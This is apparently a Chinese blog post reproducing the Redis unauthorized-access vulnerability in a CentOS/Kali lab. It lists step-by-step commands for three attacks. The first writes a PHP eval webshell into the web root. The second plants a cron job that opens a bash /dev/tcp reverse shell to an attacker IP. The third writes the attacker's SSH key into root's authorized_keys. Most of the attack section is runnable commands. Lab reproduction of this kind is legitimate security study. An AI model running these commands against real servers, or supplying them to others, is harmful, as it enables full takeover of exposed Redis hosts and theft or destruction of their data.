Redis未授权漏洞复现

桃扇骨 2023-10-07 21:17 366阅读 0赞

一、简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞产生条件 (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

二、漏洞环境搭建

靶机:CentOS-7-x86_64-Everything-2009.iso

攻击机:Kali Linux 2022.3-vmware-amd64

Redis: redis-3.2.0

1.靶机下载redis

以root用户登陆下载

下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压:tar xzf redis-3.2.0.tar.gz

30a05b0d2f5f4a80aeef53bbda2e8876.jpeg

ll 显示当前目录内容。

cd redis-3.2.0

0608d50d27cc4046ae6917a874a996c6.jpeg

编译: make

1361f2e859f94dbfa142ae3d1b19a57b.jpeg

cd src

cp redis-server /usr/bin 将redis-server 拷贝至/bin

cp redis-cli /usr/bin 将 redis-cli 拷贝至/bin

cd .. 返回上一级目录

cp redis.conf /etc 将redis.conf 拷贝至 /etc

redis-server /etc/redis.conf 开启redis服务

ca86e18865bd4afebdbf89d98a3118ec.jpeg

166aae97fa4242ba881f4f89b5a351af.jpeg

2.kali下载reids

新建文件夹: mkdir redis

下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压:tar xzf redis-3.2.0.tar.gz

cd redis-3.2.0

编译:make

连接靶机:redis-cli -h ip

-h 连接指定host

" class="reference-link">报错无法连接f6bf7f76a4dc4521bf1934870a61cbfb.png

关闭靶机防火墙

systemctl stop firewalld.service //关闭防火墙
systemctl disable firewalld.service //关闭防火墙自启动

Redis的配置更改
找到配置文件: redis.conf并编辑

vi redis.conf

(1)protected-mode yes 设置成no #允许远程访问

(2)bind 127.0.0.1 这一行给#注释掉 #允许其他网段访问

连接靶机:redis-cli -h ip

e705d66f36b64753a6202b5d0ec98a08.png

1.Redis未授权写入webshell

记得启动apache!!!

systemctl start httpd.service #启动apache服务

config set dir /var/www/html #设置数据库备份文件的放置路径

config set dbfilename shell.php #设置备份文件的文件名

set x “\r\n\r\n<?php @eval($_POST[‘cmd’]);?>\r\n\r\n” #添加一个键”x”,值为一句话木马

save #保存

#set x “\r\n\r\n<?php @eval($_POST[‘cmd’]);?>\r\n\r\n”
# ”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

84d32fefadfa4be9957d6bf83945e913.png攻击机Kali浏览器访问ip/shell.php

可以看到内容130b3a0014824c1b8de64b44d4d80662.png

蚁剑连接

8ea4d199c9ef4c87999c69122a1915d3.png

2.Redis未授权写定时任务反弹shell

01.在Kali使用nc开启监听
nc -lvvp 6666

02.连接redis,写入定时反弹shell

redis-cli -h IP

输入以下内容:

set xx “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n”
#前后加入’\n\n’换行以确保写入的计划任务可以被正常解析,每分钟执行一次.
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存

3f154386844a4662a7494b1ed6f88c38.png

03.kali打开监听

nc -lvvp 6666

一分钟后得到目标shell

可以执行命令

2d788e0d615d44778133030241cbdfb1.png

  1. Redis未授权写SSH公钥获得shell

01.在kali上生成ssh公钥

ssh-keygen -t rsa

02.将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt

0380c2b2035f4636b28faf4e83271225.png

075ad8818925495394978a12dee8aabd.png

03.将foo.txt写入靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

04.连接Redis
redis-cli -h 10.1.1.200 -p 6379

05.设置备份文件路径
config set dir /root/.ssh/

06.设置上传公钥的备份文件名字为authorized_keys
config set dbfilename “authorized_keys”

save #保存

d3cb47090e6a422084449c6d500f82da.png

07.远程连接目标机器
ssh root@IP -i /root/.ssh/id_rsa

22dd0cd502b54beaac962e7ba56f8c43.png

以上.

如有问题,欢迎留言。

发表评论

表情:
评论列表 (有 0 条评论,366人围观)

还没有评论,来说两句吧...

相关阅读